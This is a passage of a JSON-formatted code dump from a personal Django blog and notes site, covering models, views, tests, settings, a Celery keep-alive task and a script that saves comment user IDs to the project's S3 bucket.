"text": "from blog.models import Comment\nfrom django.contrib.auth.models import User\nimport pickle\nimport sys\nimport kalail.settings as settings\nfrom boto.s3.connection import S3Connection\nfrom boto.s3.key import Key\n\ndef run():\n\tprint 'STARTING SCRIPT \"save_comment_user_ids.py\"'\n\n\tall_comments = Comment.objects.all().order_by('created_on')\n\tuser_ids = []\n\tnumber_of_comments = all_comments.count()\n\n\tprint str(number_of_comments) + \" COMMENTS DETECTED\"\n\n\tprint \"COLLECTING USER IDS\"\n\tfor comment in all_comments:\n\t\tuser_name = comment.author\n\t\tif user_name == \"Anonymous\":\n\t\t\tuser = None\n\t\telse:\n\t\t\ttry:\n\t\t\t\tuser = User.objects.get(first_name=user_name)\n\t\t\t\tuser = user.id\n\t\t\texcept User.DoesNotExist:\n\t\t\t\tuser = None\n\t\t\texcept User.MultipleObjectsReturned:\n\t\t\t\tuser = User.objects.filter(first_name=user_name)[0].id\n\n\t\tuser_ids.append(user)\n\t\tsys.stdout.write(\".\")\n\n\tprint \"DONE\"\n\n\tprint \"UPLOADING\"\n\n\ts3_connection = S3Connection(settings.AWS_ACCESS_KEY_ID, settings.AWS_SECRET_ACCESS_KEY)\n\ts3_bucket = s3_connection.create_bucket(settings.AWS_TEMP_STORAGE_BUCKET_NAME)\n\tusers_file = Key(s3_bucket)\n\tusers_file.key = \"user_ids.pickle\"\n\tuser_ids_string = pickle.dumps(user_ids)\n\tusers_file.set_contents_from_string(user_ids_string)\n\n\tprint \"DONE\"\n\n\tprint \"FIN\""
},
{
"alpha_fraction": 0.7333333492279053,
"alphanum_fraction": 0.7409523725509644,
"avg_line_length": 37.85185241699219,
"blob_id": "64d651e9c6372887e19a8fb07362d05f45535a80",
"content_id": "6dd7deeb24a3521720cbf423c1f132d7782d4764",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1050,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 27,
"path": "/kalail/blog/tests.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from django.test import TestCase\nfrom blog.models import Post\nfrom django.core.urlresolvers import reverse\n\nclass blog_testcase(TestCase):\n\tfixtures = ['blog_testdata.json']\n\n\tdef test_index_response_success(self):\n\t\tresponse = self.client.get(reverse('blog.views.index'))\n\t\tself.assertEqual(response.status_code, 200)\n\n\tdef test_index_content_success(self):\n\t\t#test_post = Post.objects.latest('created_on')\n\t\ttest_post = Post.objects.get(pk=1)\n\t\tresponse = self.client.get(reverse('blog.views.index'))\n\t\tself.assertContains(response, test_post.title)\n\t\n\tdef test_show_post_response_success(self):\n\t\ttest_post = Post.objects.latest('created_on')\n\t\tresponse = self.client.get(reverse('blog.views.show_post', args=(str(test_post.pk))))\n\t\tself.assertEqual(response.status_code, 200)\n\n\tdef test_show_post_content_success(self):\n\t\t#test_post = Post.objects.latest('created_on')\n\t\ttest_post = Post.objects.get(pk=1)\t\t\n\t\tresponse = self.client.get(reverse('blog.views.show_post', args=(str(test_post.pk))))\n\t\tself.assertContains(response, test_post.title)\n\n"
},
{
"alpha_fraction": 0.8717948794364929,
"alphanum_fraction": 0.8717948794364929,
"avg_line_length": 28.5,
"blob_id": "364870613b8332710cde1926336f2334addb04e5",
"content_id": "54303322791add37f7d8e18bdc9c2c929ca74746",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 117,
"license_type": "no_license",
"max_line_length": 45,
"num_lines": 4,
"path": "/kalail/keepalive/admin.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from keepalive.models import KeepAliveWebsite\nfrom django.contrib import admin\n\nadmin.site.register(KeepAliveWebsite)"
},
{
"alpha_fraction": 0.6553524732589722,
"alphanum_fraction": 0.6553524732589722,
"avg_line_length": 26.428571701049805,
"blob_id": "e8fc7581d18b72c831e0ead82bf0a90b2f77c6df",
"content_id": "5fcd443c7415e60147dd755c95e5dbb576f5b3e3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 383,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 14,
"path": "/kalail/kalail/settings/__init__.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "import os\n\n# Import corresponding environment settings.\ntry:\n app_env = os.environ[\"KALAIL_ENV\"]\n if app_env == \"production\":\n # Import production settings\n from .production import *\n elif app_env == \"development\":\n # Import development settings\n from .development import *\nexcept KeyError, e:\n # import local settings\n from .local import *"
},
{
"alpha_fraction": 0.7295719981193542,
"alphanum_fraction": 0.731517493724823,
"avg_line_length": 24.75,
"blob_id": "dac839d85f5a648fe5c3fa56670fb8aab9bcdbfd",
"content_id": "464b0f645e2ff39b948cb964ca8d593fc62b77e9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 514,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 20,
"path": "/kalail/blog/feeds.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from django.contrib.syndication.views import Feed\nfrom django.core.urlresolvers import reverse\nfrom blog.models import Post\n\nclass LatestPostsFeed(Feed):\n\ttitle = \"Kalail\"\n\tlink = '/'\n\tdescription = \"Latest blog posts on Kalail.com\"\n\n\tdef items(self):\n\t\treturn Post.objects.all().order_by('-created_on')[:7]\n\n\tdef item_title(self, item):\n\t\treturn item.title\n\n\tdef item_description(self, item):\n\t\treturn item.body\n\n\tdef item_link(self, item):\n\t\treturn reverse('blog.views.show_post', args=(str(item.id), item.slug))"
},
{
"alpha_fraction": 0.6898396015167236,
"alphanum_fraction": 0.6898396015167236,
"avg_line_length": 36.46666717529297,
"blob_id": "222c494c879416d2128d398d2687334dacdb96d7",
"content_id": "699bd66c008484425f956ed357b31e73adaf1ba1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 561,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 15,
"path": "/kalail/kalail/urls.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from django.conf.urls.defaults import patterns, include, url\nfrom django.contrib.staticfiles.urls import staticfiles_urlpatterns\n\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n\turl(r'^blog/', include('blog.urls')),\n url(r'^notes/', include('notes.urls')),\n # url(r'^keep-alive/', include('keepalive.urls')),\n url(r'^browserid/', include('django_browserid.urls')),\n url(r'^admin/', include(admin.site.urls)),\n url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n url(r'^', include('home.urls')),\n)"
},
{
"alpha_fraction": 0.7307692170143127,
"alphanum_fraction": 0.7665782570838928,
"avg_line_length": 33.318180084228516,
"blob_id": "5efca6e9f487fd7f66ff7a3e5811f054bff09a24",
"content_id": "b1ad1a5ae88c03f2524364a09c60967de64ca2da",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 754,
"license_type": "no_license",
"max_line_length": 103,
"num_lines": 22,
"path": "/kalail/keepalive/tasks.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from celery.task import task, periodic_task\nfrom keepalive.models import KeepAliveWebsite\nimport requests\nfrom datetime import timedelta\nfrom requests.exceptions import RequestException\n\n@periodic_task(run_every = timedelta(minutes=30))\ndef send_requests():\n\twebsites = KeepAliveWebsite.objects.all()\n\theaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:14.0) Gecko/20100101 Firefox/14.0.1'}\n\tfor website in websites:\n\t\ttry:\n\t\t\trequests.get(website.url, prefetch=True, headers=headers, timeout=30)\n\t\texcept RequestException:\n\t\t\tpass\n\n@periodic_task(run_every = timedelta(minutes=10))\ndef remove_unused_websites():\n\twebsites = KeepAliveWebsite.objects.all()\n\tfor website in websites:\n\t\tif not website.users.all().exists():\n\t\t\twebsite.delete()"
},
{
"alpha_fraction": 0.8421052694320679,
"alphanum_fraction": 0.8421052694320679,
"avg_line_length": 23,
"blob_id": "c39955b1f4034586be21a9c89200aac927e5c3c8",
"content_id": "066cf0ec05a3c1662ffba864142d0d147a9956f0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 95,
"license_type": "no_license",
"max_line_length": 32,
"num_lines": 4,
"path": "/kalail/notes/admin.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from notes.models import Notepad\nfrom django.contrib import admin\n\nadmin.site.register(Notepad)"
},
{
"alpha_fraction": 0.801886796951294,
"alphanum_fraction": 0.8054245114326477,
"avg_line_length": 35.826087951660156,
"blob_id": "d6521c378cd58e4a90c03b6f1fcd5e53ef48d9d7",
"content_id": "4dc50e7cd7a772299040d02325c9625c65b02bc9",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 848,
"license_type": "no_license",
"max_line_length": 98,
"num_lines": 23,
"path": "/kalail/home/views.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "# Create your views here.\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.http import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.template import RequestContext\nfrom django.contrib.auth import logout\n\n\ndef index(request):\n\treturn render_to_response('home/index.html',context_instance=RequestContext(request))\n\ndef software_engineer(request):\n\treturn render_to_response('home/software_engineer.html',context_instance=RequestContext(request))\n\ndef film_director(request):\n\treturn render_to_response('home/film_director.html',context_instance=RequestContext(request))\n\ndef sign_in(request):\n\treturn render_to_response('home/sign_in.html',context_instance=RequestContext(request))\n\ndef sign_out(request):\n logout(request)\n return HttpResponseRedirect(reverse('home.views.index'))\n\n"
},
{
"alpha_fraction": 0.6316384077072144,
"alphanum_fraction": 0.6406779885292053,
"avg_line_length": 35.91666793823242,
"blob_id": "97d9d5960d48311220c66497c5d2a011faf0137d",
"content_id": "c9a810c56806ab491515054f954598eac42c69a1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "HTML",
"length_bytes": 885,
"license_type": "no_license",
"max_line_length": 186,
"num_lines": 24,
"path": "/kalail/templates/home/index.html",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "{% extends 'base.html' %}\n{% block title %} - Home{% endblock title %}\n\n{% block nav %}\n{% include 'nav_bar.html' with current_nav='home' %}\n{% endblock nav %}\n\n\n{% block content %}\n\n<h1>Welcome!</h1>\n<p>My Name is Kashif Malik.</p>\n<p>I am a <a href=\"{% url 'home.views.software_engineer' %}\">software engineer</a> and <a href=\"{% url 'home.views.film_director' %}\">film director</a>. They go hand in hand, really.</p>\n<br>\n<h2>What is This?</h2>\n<p>This is my <a href=\"{% url 'blog.views.index' %}\">blog</a> and occasionally, a testing ground for any web app ideas I may have.</p>\n<br>\n<h2>What Does Kalail Mean?</h2>\n<p>Kalail is how a child would spell out Kal-El, the real name of Superman. That child was me and apparently, I stuck with it.</p>\n<!-- <br> -->\n<!-- <h2>Who are you?</h2>\n<p>A software engineer and filmmaker. They go hand in hand. Really.</p>\n -->\n{% endblock content %}"
},
{
"alpha_fraction": 0.6537102460861206,
"alphanum_fraction": 0.6537102460861206,
"avg_line_length": 30.55555534362793,
"blob_id": "643b63616b0da13ac44af2c7f89f72f25468cecb",
"content_id": "9b0e4924ad9c4ae1e8bc6d23e1a3d9918da1edde",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 283,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 9,
"path": "/kalail/home/urls.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from django.conf.urls.defaults import patterns, include, url\n\nurlpatterns = patterns('home.views',\n\turl(r'^$', 'index'),\n\turl(r'^software-engineer/$', 'software_engineer'),\n\turl(r'^film-director/$', 'film_director'),\n\turl(r'^sign_in/', 'sign_in'),\n\turl(r'^sign_out/$', 'sign_out'),\n)"
},
{
"alpha_fraction": 0.8166090250015259,
"alphanum_fraction": 0.8166090250015259,
"avg_line_length": 25.272727966308594,
"blob_id": "6198d6facac835a642873cdee7060a9d58f3c486",
"content_id": "232d39b947a7f55569247339dd41e80b7699d9af",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 289,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 11,
"path": "/kalail/serviz/admin.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\n\nfrom .models import ModuleType, Module, Cache, ServiceType, Service, Server\n\n\nadmin.site.register(ModuleType)\nadmin.site.register(Module)\nadmin.site.register(Cache)\nadmin.site.register(ServiceType)\nadmin.site.register(Service)\nadmin.site.register(Server)\n"
},
{
"alpha_fraction": 0.6840077042579651,
"alphanum_fraction": 0.6840077042579651,
"avg_line_length": 22.636363983154297,
"blob_id": "72aa8a3c031ecbc7636f74aa0ac23499d8be0cb7",
"content_id": "6b36f7f641e2d2efb63379f00df572fc6ca422fa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 519,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 22,
"path": "/kalail/blog/admin.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from blog.models import Post\nfrom django.forms import ModelForm\nfrom django.contrib import admin\nfrom suit_redactor.widgets import RedactorWidget\n\nclass PostForm(ModelForm):\n\tclass Meta:\n\t\twidgets = {\n\t\t\t'body': RedactorWidget(editor_options={'lang': 'en'})\n\t\t}\n\nclass PostAdmin(admin.ModelAdmin):\n\tform = PostForm\n\tlist_display = ('title', 'body', 'created_on')\n\tfieldsets = [\n\t\t('Title', {'fields': ('title',)}),\n\t\t('Body', {'classes': ('full-width',), 'fields': ('body',)})\n\t]\n\n\n\nadmin.site.register(Post, PostAdmin)"
},
{
"alpha_fraction": 0.6583000421524048,
"alphanum_fraction": 0.6614375114440918,
"avg_line_length": 23.186206817626953,
"blob_id": "509b3ac6effdfaaf72b726d5e8868091b737d4ca",
"content_id": "37ef33489688169ceb923ba577d331ca6ab982c2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3506,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 145,
"path": "/kalail/kalail/settings/base.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "# Django settings for kalail project.\n\n# Relative path settings\nfrom unipath import Path\nPROJECT_ROOT = Path(__file__).ancestor(3)\n\n# Set various variables.\nTIME_ZONE = 'America/Chicago'\nLANGUAGE_CODE = 'en-us'\nSITE_ID = 1\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\n# Absolute filesystem path to the directory that will hold user-uploaded files.\nMEDIA_ROOT = PROJECT_ROOT.child('media')\n\n# Absolute path to the directory static files should be collected to using collectstatic.\nSTATIC_ROOT = ''\n\n# Additional locations of static files - absolute paths\nSTATICFILES_DIRS = (\n PROJECT_ROOT.child('static'),\n)\n\n# List of finder classes that know how to find static files in\n# various locations.\nSTATICFILES_FINDERS = (\n 'django.contrib.staticfiles.finders.FileSystemFinder',\n 'django.contrib.staticfiles.finders.AppDirectoriesFinder',\n 'django.contrib.staticfiles.finders.DefaultStorageFinder',\n)\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader'\n)\n\nROOT_URLCONF = 'kalail.urls'\n\n# WSGI server for debug server.\nWSGI_APPLICATION = 'kalail.wsgi.application'\n\n# Templates location - absolute path\nTEMPLATE_DIRS = (\n PROJECT_ROOT.child('templates'),\n)\n\n\nINSTALLED_APPS = (\n # Contrib\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n # Django Suits needs to be before admin\n 'suit',\n 'django.contrib.admin',\n\n # Third party\n 'south',\n 'gunicorn',\n 'social_auth',\n 'django_extensions',\n 'django_browserid',\n 'storages',\n 'djcelery',\n 'suit_redactor',\n \n # Project\n 'home',\n 'blog',\n 'versioning',\n 'notes',\n 'keepalive',\n # 'serviz',\n)\n\n# Set up Sessions\nSESSION_ENGINE = 'django.contrib.sessions.backends.cache'\n\n# Celery settings\nimport djcelery\ndjcelery.setup_loader()\n\nLOGIN_URL = '/sign_in/'\nLOGIN_REDIRECT_URL = '/'\nLOGIN_REDIRECT_URL_FAILURE = '/login-error/'\n\n# Logging\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': True,\n 'formatters': {\n 'verbose': {\n 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s'\n },\n 'simple': {\n 'format': '%(levelname)s %(message)s'\n },\n },\n 'handlers': {\n 'console':{\n 'level': 'INFO',\n 'class': 'logging.StreamHandler',\n 'formatter': 'simple'\n },\n },\n 'loggers': {\n 'django': {\n 'handlers': ['console'],\n 'level': 'INFO',\n 'propagate': True,\n },\n }\n}\n\n# Google Authentication\nAUTHENTICATION_BACKENDS = (\n 'django.contrib.auth.backends.ModelBackend',\n 'django_browserid.auth.BrowserIDBackend',\n)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n \"django.core.context_processors.request\",\n \"django.contrib.auth.context_processors.auth\",\n \"django.core.context_processors.debug\",\n \"django.core.context_processors.i18n\",\n \"django.core.context_processors.media\",\n \"django.core.context_processors.static\",\n \"django.contrib.messages.context_processors.messages\",\n \"django_browserid.context_processors.browserid\",\n)\n\n# Celery settings\nimport djcelery\ndjcelery.setup_loader()\n\n# BrowserID\nBROWSERID_CREATE_USER = True\n# Set username to email\nBROWSERID_USERNAME_ALGO = lambda email: email[:30]"
},
{
"alpha_fraction": 0.7484662532806396,
"alphanum_fraction": 0.7576687335968018,
"avg_line_length": 32.75862121582031,
"blob_id": "c7260ef2aa0ff3ad25e765ae4c6cd64f7a17fd0f",
"content_id": "43f0902bbb05123fea4a3d98d2eae86a38f0c710",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 978,
"license_type": "no_license",
"max_line_length": 59,
"num_lines": 29,
"path": "/kalail/home/tests.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from django.test import TestCase\nfrom django.core.urlresolvers import reverse\n\n\nclass main_testcase(TestCase):\n\n\tdef test_index_response_success(self):\n\t\tresponse = self.client.get(reverse('home.views.index'))\n\t\tself.assertEqual(response.status_code, 200)\n\t\n\tdef test_index_content_success(self):\n\t\tresponse = self.client.get(reverse('home.views.index'))\n\t\tself.assertContains(response, 'Homepage')\n\n\tdef test_about_response_success(self):\n\t\tresponse = self.client.get(reverse('home.views.about'))\n\t\tself.assertEqual(response.status_code, 200)\n\t\n\tdef test_about_content_success(self):\n\t\tresponse = self.client.get(reverse('home.views.about'))\n\t\tself.assertContains(response, 'About')\n\n\tdef test_contact_response_success(self):\n\t\tresponse = self.client.get(reverse('home.views.contact'))\n\t\tself.assertEqual(response.status_code, 200)\n\t\n\tdef test_contact_content_success(self):\n\t\tresponse = self.client.get(reverse('home.views.contact'))\n\t\tself.assertContains(response, 'Contact')"
},
{
"alpha_fraction": 0.7275934815406799,
"alphanum_fraction": 0.7402964234352112,
"avg_line_length": 21.15625,
"blob_id": "11ea1cee92b3e9ad2cc7bf88adf85bf534a16f11",
"content_id": "5bd7904c0a6f314952fd560675a66c9545fbc924",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1417,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 64,
"path": "/kalail/serviz/models.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from django.db import models\nfrom django.utils import timezone\nfrom django.contrib.auth.models import User\n\n\nclass ModuleType(models.Model):\n\tname = models.CharField(max_length=256)\n\n\tdef __unicode__(self):\n\t\treturn self.name\n\n\nclass Module(models.Model):\n\ttype = models.ForeignKey(ModuleType)\n\tname = models.CharField(max_length=256)\n\tcreated = models.DateTimeField(default=timezone.now)\n\n\tdef __unicode__(self):\n\t\treturn self.name\n\n\tdef get_specific(self):\n\t\tt = self.type.name\n\t\treturn getattr(self, t, None)\n\n\nclass Cache(Module):\n\tsize = models.IntegerField(blank=True, null=True)\n\tcmd = models.CharField(max_length=512, blank=True)\n\n\tdef __unicode__(self):\n\t\treturn self.name\n\n\nclass ServiceType(models.Model):\n\tname = models.CharField(max_length=256)\n\n\tdef __unicode__(self):\n\t\treturn self.name\n\n\nclass Service(models.Model):\n\tname = models.CharField(max_length=256)\n\turl = models.URLField(blank=True)\n\ttype = models.ForeignKey(ServiceType)\n\tinformation = models.TextField(blank=True)\n\tcreated = models.DateTimeField(default=timezone.now)\n\n\tdef __unicode__(self):\n\t\treturn self.name\n\n\nclass Server(models.Model):\n\t\"\"\"Server\n\n\tServer that contains modules.\n\n\t\"\"\"\n\tname = models.CharField(max_length=256)\n\tuser = models.ForeignKey(User)\n\tmodules = models.ManyToManyField(Module, blank=True, null=True)\n\tservices = models.ManyToManyField(Service, blank=True, null=True)\n\n\tdef __unicode__(self):\n\t\treturn self.name"
},
{
"alpha_fraction": 0.742382287979126,
"alphanum_fraction": 0.742382287979126,
"avg_line_length": 25.703702926635742,
"blob_id": "8d6793a2cc608146b1164ae33b6343efbf92d302",
"content_id": "8a9004f3ec35dd0826a1e07198bf02a94f60a9c0",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 722,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 27,
"path": "/kalail/notes/views.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "# Create your views here.\nfrom django.shortcuts import render_to_response\nfrom django.http import HttpResponse\nfrom django.template import RequestContext\nfrom django.contrib.auth.decorators import login_required\nfrom notes.models import Notepad\n\n@login_required\ndef index(request):\n\ttry:\n\t\tnotepad = request.user.notepad\n\texcept Notepad.DoesNotExist:\n\t\tnotepad = Notepad(body=\"\", user=request.user)\n\t\tnotepad.save()\n\n\tif request.method == 'GET':\n\t\treturn render_to_response('notes/index.html',\n\t\t\t{\n\t\t\t\t\"notepad\" : notepad\n\t\t\t},\n\t\t\tcontext_instance=RequestContext(request)\n\t\t)\n\n\tif request.is_ajax() and request.method == 'POST':\n\t\tnotepad.body = request.POST['notepad_text']\n\t\tnotepad.save()\n\t\treturn HttpResponse(\"OK\")\n\n"
},
{
"alpha_fraction": 0.7050623893737793,
"alphanum_fraction": 0.7123991250991821,
"avg_line_length": 25.745098114013672,
"blob_id": "be5e966045a06ea0232b8672744e41cac4b507a1",
"content_id": "045375f6fdffba7d896872c3d241cdeea2ea14b3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1363,
"license_type": "no_license",
"max_line_length": 79,
"num_lines": 51,
"path": "/kalail/kalail/settings/development.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from .base import *\nimport os\n\n# Debug\nDEBUG = False\nTEMPLATE_DEBUG = DEBUG\n\n# Database\nimport dj_database_url\nDATABASES = {'default': dj_database_url.config(default='postgres://localhost')}\n\n# Amazon S3 setting\nAWS_ACCESS_KEY_ID = os.environ.get(\"AWS_ACCESS_KEY_ID\")\nAWS_SECRET_ACCESS_KEY = os.environ.get(\"AWS_SECRET_ACCESS_KEY\")\nAWS_STORAGE_BUCKET_NAME = 'kalail_dev'\n\nDEFAULT_FILE_STORAGE = 'helpers.storages.MediaS3Storage'\nSTATICFILES_STORAGE = 'helpers.storages.StaticS3Storage'\n\n# URL prefix for files.\nSTATIC_URL = 'https://s3.amazonaws.com/' + AWS_STORAGE_BUCKET_NAME + '/static/'\nMEDIA_URL = 'https://s3.amazonaws.com/' + AWS_STORAGE_BUCKET_NAME + '/media/'\n\n# RabbitMQ\nBROKER_URL = os.environ.get('CLOUDAMQP_URL')\nBROKER_POOL_LIMIT = 1\n\n# Memcachier\nos.environ['MEMCACHE_SERVERS'] = os.environ.get('MEMCACHIER_SERVERS', '')\nos.environ['MEMCACHE_USERNAME'] = os.environ.get('MEMCACHIER_USERNAME', '')\nos.environ['MEMCACHE_PASSWORD'] = os.environ.get('MEMCACHIER_PASSWORD', '')\n\n# Cache settings\nCACHES = {\n \t'default': {\n\t\t'BACKEND': 'django_pylibmc.memcached.PyLibMCCache',\n\t\t'LOCATION': os.environ.get('MEMCACHIER_SERVERS', ''),\n\t\t'TIMEOUT': 500,\n\t\t'BINARY': True,\n\t}\n}\n\nALLOWED_HOSTS = [\n\t'kalail-dev.herokuapp.com',\n\t's3.amazonaws.com'\n]\n\nSECRET_KEY = os.environ.get('SECRET_KEY')\n\n# Browser ID settings\nSITE_URL = 'http://kalail-dev.herokuapp.com'"
},
{
"alpha_fraction": 0.7451543211936951,
"alphanum_fraction": 0.7494615912437439,
"avg_line_length": 38.82857131958008,
"blob_id": "cdc168f94a7a1291eefd2f347559b1996449cbe8",
"content_id": "841cfe7007f33cce9bae550aba1c403c4cf0db7b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1393,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 35,
"path": "/kalail/notes/tests.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from django.test import TestCase\nfrom notes.models import Notepad\nfrom django.core.urlresolvers import reverse\nimport datetime\nfrom django.contrib.auth.models import User\n\n\nclass notes_testcase(TestCase):\n\n\tdef setUp(self):\n\t\tUser.objects.create_user('test_user_name', '[email protected]', 'test_user_password')\n\n\tdef test_signed_out_index_response_success(self):\n\t\tresponse = self.client.get(reverse('notes.views.index'))\n\t\tself.assertEqual(response.status_code, 302)\n\n\tdef test_signed_in_index_response_success(self):\n\t\tself.client.login(username='test_user_name', password='test_user_password')\n\t\tresponse = self.client.get(reverse('notes.views.index'))\n\t\tself.assertEqual(response.status_code, 200)\n\n\tdef test_signed_in_index_creates_notepad_success(self):\n\t\tself.client.login(username='test_user_name', password='test_user_password')\n\t\tresponse = self.client.get(reverse('notes.views.index'))\n\t\tuser = User.objects.get(id = self.client.session['_auth_user_id'])\n\t\tself.assertIsInstance(user.notepad, Notepad)\n\n\tdef test_signed_in_index_shows_notepad_success(self):\n\t\tself.client.login(username='test_user_name', password='test_user_password')\n\t\tself.client.get(reverse('notes.views.index'))\n\t\tuser = User.objects.get(id = self.client.session['_auth_user_id'])\n\t\tuser.notepad.body = \"Test Test Test\"\n\t\tuser.notepad.save()\n\t\tresponse = self.client.get(reverse('notes.views.index'))\n\t\tself.assertContains(response, user.notepad.body)"
},
{
"alpha_fraction": 0.75,
"alphanum_fraction": 0.7560241222381592,
"avg_line_length": 21.200000762939453,
"blob_id": "b02a0c2366be3bbee3c7f546032f35ad9d18df6d",
"content_id": "1cb4b81efbbed2cd0df6abcf2a03fc05dd17fab4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 332,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 15,
"path": "/kalail/blog/models.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "from django.db import models\nfrom django.template.defaultfilters import slugify\n\nclass Post(models.Model):\n\ttitle = models.CharField(max_length=64)\n\tbody = models.TextField()\n\tcreated_on = models.DateTimeField(auto_now_add=True)\n\n\t@property\n\tdef slug(self):\n\t\treturn slugify(self.title)\n\n\n\tdef __unicode__(self):\n\t\treturn self.title"
},
{
"alpha_fraction": 0.8235294222831726,
"alphanum_fraction": 0.8323529362678528,
"avg_line_length": 41.625,
"blob_id": "ab334d1f79fb176761e108fa5e95ab80f0ddfbff",
"content_id": "5a29723ecd5a914b7f52e5516c417b4e90d214be",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 340,
"license_type": "no_license",
"max_line_length": 93,
"num_lines": 8,
"path": "/kalail/versioning/views.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "# Create your views here.\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.http import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.template import RequestContext\n\ndef index(request):\n\treturn render_to_response('versioning/index.html', context_instance=RequestContext(request))"
},
{
"alpha_fraction": 0.7515923380851746,
"alphanum_fraction": 0.7611464858055115,
"avg_line_length": 43.85714340209961,
"blob_id": "783b1184531b22de05042fa032d582da570d9be3",
"content_id": "b2d40b51f7e000ed90de82cfc1278e32b16d5315",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 942,
"license_type": "no_license",
"max_line_length": 113,
"num_lines": 21,
"path": "/kalail/blog/views.py",
"repo_name": "kalail/Kalail",
"src_encoding": "UTF-8",
"text": "# Create your views here.\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.http import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\nfrom django.template import RequestContext\nfrom blog.models import Post\n\n\ndef index(request):\n\tall_posts = Post.objects.all().order_by('-created_on')\n\treturn render_to_response('blog/index.html', {'all_posts': all_posts}, context_instance=RequestContext(request))\n\ndef redirect_to_slug_post(request, post_id):\n\tpost = get_object_or_404(Post, id=post_id)\n\treturn HttpResponseRedirect(reverse('blog.views.show_post', args=(post_id, post.slug)))\n\ndef show_post(request, post_id, post_slug):\n\tpost = get_object_or_404(Post, id=post_id)\n\tif post_slug != post.slug:\n\t\t return HttpResponseRedirect(reverse('blog.views.show_post', args=(post_id, post.slug)))\n\treturn render_to_response('blog/show_post.html', {'post': post}, context_instance=RequestContext(request))\n"
},
{
"alpha_fraction": 0.6349693536758423,
